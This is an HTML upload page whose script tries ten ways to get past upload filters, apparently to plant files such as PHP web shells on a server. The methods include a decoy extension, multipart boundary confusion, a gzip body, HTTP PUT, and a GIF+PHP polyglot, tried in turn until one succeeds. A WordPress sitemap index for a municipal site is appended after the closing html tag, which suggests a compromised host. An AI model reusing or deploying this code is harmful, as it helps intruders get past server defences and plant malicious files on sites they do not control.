<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload</title>
<style>
#ra{margin-top:8px;white-space:pre-wrap;display:none}
</style>
</head>
<body>
<input type="file" id="fa">
<button onclick="doAuto()">Upload</button>
<div id="ra"></div>

<script>
const ME = location.pathname;

// ── DOM helpers ─────────────────────────────────────────────────────────────
function _setResult(id, cls, msg) {
    const el = document.getElementById('r' + id);
    el.style.display = 'block';
    el.style.color = cls === 'loading' ? '#8b949e' : '';
    el.className = cls === 'loading' ? 'result' : 'result ' + cls;
    el.textContent = msg;
}
function loading(id, label) { _setResult(id, 'loading', label || 'Sending...'); }
function show(id, j) {
    if (j && j.success) _setResult(id, 'ok',  'OK [' + (j.method||'?') + '] ' + j.file);
    else                 _setResult(id, 'err', 'FAIL: ' + ((j && j.error) || 'Unknown'));
}
function err(id, msg) { _setResult(id, 'err', 'FAIL: ' + msg); }

// ── Shared fetch helper (no DOM) ─────────────────────────────────────────────
async function _raw(fetchPromise) {
    try {
        const resp = await fetchPromise;
        const text = await resp.text();
        if (!resp.ok || !text.trim().startsWith('{'))
            return {success:false, error:'HTTP ' + resp.status + ' ' + text.replace(/<[^>]+>/g,'').trim().slice(0,150)};
        return JSON.parse(text);
    } catch(e) { return {success:false, error:e.message}; }
}

function b64file(f) {
    return new Promise(res => {
        const r = new FileReader();
        r.onload = e => res(e.target.result.split(',')[1]);
        r.readAsDataURL(f);
    });
}

// ── Per-method runners (accept file, return result object, no DOM) ───────────
async function _runV1(f) {
    const fd = new FormData(); fd.append('action','v1'); fd.append('f',f);
    return _raw(fetch(ME,{method:'POST',body:fd}));
}
async function _runV2(f) {
    const fd = new FormData(); fd.append('action','v2'); fd.append('f',f);
    return _raw(fetch(ME,{method:'POST',body:fd}));
}
async function _runV3(f) {
    const fd = new FormData();
    fd.append('action','v3'); fd.append('n',f.name); fd.append('d', await b64file(f));
    return _raw(fetch(ME,{method:'POST',body:fd}));
}
async function _runV4(f) {
    const CHUNK = 64*1024, total = Math.ceil(f.size/CHUNK);
    for (let i = 0; i < total; i++) {
        const fd = new FormData();
        fd.append('action','v4'); fd.append('n',f.name);
        fd.append('chunk', await b64file(f.slice(i*CHUNK, Math.min((i+1)*CHUNK,f.size))));
        fd.append('i',i); fd.append('t',total);
        const j = await _raw(fetch(ME,{method:'POST',body:fd}));
        if (!j.success) return j;
        if (j.complete) return j;
    }
    return {success:false, error:'No chunks sent'};
}
async function _runV5(f) {
    return _raw(fetch(ME+'?n='+encodeURIComponent(f.name),{method:'PUT',body:await f.arrayBuffer()}));
}
async function _runV6(f) {
    return _raw(fetch(ME,{method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({n:f.name, d:await b64file(f)})}));
}
async function _runV7(f) {
    const body = 'action=v7&n='+encodeURIComponent(f.name)+'&d='+encodeURIComponent(await b64file(f));
    const enc = new TextEncoder(), SZ = 4096, parts = [];
    for (let i = 0; i < body.length; i += SZ) parts.push(enc.encode(body.slice(i,i+SZ)));
    let idx = 0;
    const stream = new ReadableStream({pull(ctrl){idx<parts.length?ctrl.enqueue(parts[idx++]):ctrl.close();}});
    try {
        return await _raw(fetch(ME,{method:'POST',
            headers:{'Content-Type':'application/x-www-form-urlencoded'},
            body:stream, duplex:'half'}));
    } catch(e) { return {success:false, error:'ReadableStream: '+e.message}; }
}
async function _runV8(f) {
    const buf = await f.arrayBuffer(), enc = new TextEncoder();
    const bnd  = '---=_Part_'+Math.random().toString(36).slice(2,10)+'_'+Date.now();
    const fake = '--'+bnd.slice(0,12);
    const head =
        '--'+bnd+'\r\nCONTENT-disposition: Form-Data; Name="action"\r\n\r\nv8\r\n'+
        '--'+bnd+'\r\nX-Pad: '+fake+
        '--'+bnd+'\r\nContent-Disposition: form-data; name="f"; filename="'+f.name+'"\r\n'+
        'Content-Type: application/octet-stream\r\n\r\n';
    return _raw(fetch(ME,{method:'POST',
        headers:{'Content-Type':'multipart/form-data; boundary='+bnd},
        body:new Blob([enc.encode(head),buf,enc.encode('\r\n--'+bnd+'--\r\n')])}));
}
async function _runV9(f) {
    if (typeof CompressionStream==='undefined') return {success:false,error:'CompressionStream not supported'};
    const comp = await new Response(f.stream().pipeThrough(new CompressionStream('gzip'))).arrayBuffer();
    return _raw(fetch(ME+'?n='+encodeURIComponent(f.name),{method:'POST',
        headers:{'Content-Type':'application/octet-stream','X-CE':'gzip'}, body:comp}));
}
async function _runV10(f) {
    const content = await f.arrayBuffer();
    const gif  = new Uint8Array([0x47,0x49,0x46,0x38,0x39,0x61,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x3b]);
    const poly = new Uint8Array(gif.length+content.byteLength);
    poly.set(gif); poly.set(new Uint8Array(content),gif.length);
    const fd = new FormData(); fd.append('action','v10');
    fd.append('f',new Blob([poly],{type:'image/gif'}),f.name);
    return _raw(fetch(ME,{method:'POST',body:fd}));
}

const RUNS = [
    ['V1 Standard Multipart',   _runV1],
    ['V2 Decoy Extension',      _runV2],
    ['V3 Base64 POST Field',    _runV3],
    ['V4 Chunked Base64',       _runV4],
    ['V5 HTTP PUT',             _runV5],
    ['V6 JSON Body',            _runV6],
    ['V7 HTTP Chunked TE',      _runV7],
    ['V8 Boundary Confusion',   _runV8],
    ['V9 Gzip Body',            _runV9],
    ['V10 Polyglot GIF+PHP',    _runV10],
];

// ── Auto: try V1 -> V10 in order, stop on first success ─────────────────────
async function doAuto() {
    const ra = document.getElementById('ra');
    const f  = document.getElementById('fa').files[0];
    ra.style.display = 'block';
    if (!f) { ra.className = 'err'; ra.textContent = 'Select a file first'; return; }
    const log = [];
    for (let i = 0; i < RUNS.length; i++) {
        const [label, fn] = RUNS[i];
        ra.className = ''; ra.textContent = '[' + (i+1) + '/10] ' + label + '...';
        const j = await fn(f);
        if (j && j.success) {
            ra.className = 'ok';
            ra.textContent = 'OK [' + label + '] ' + j.file;
            return;
        }
        log.push((i+1) + '. ' + label + ': ' + ((j && j.error) || 'failed'));
    }
    ra.className = 'err';
    ra.textContent = 'All failed:\n' + log.join('\n');
}

</script>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.oropesadetoledo.es/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.oropesadetoledo.es/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.oropesadetoledo.es/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.oropesadetoledo.es/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.oropesadetoledo.es/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
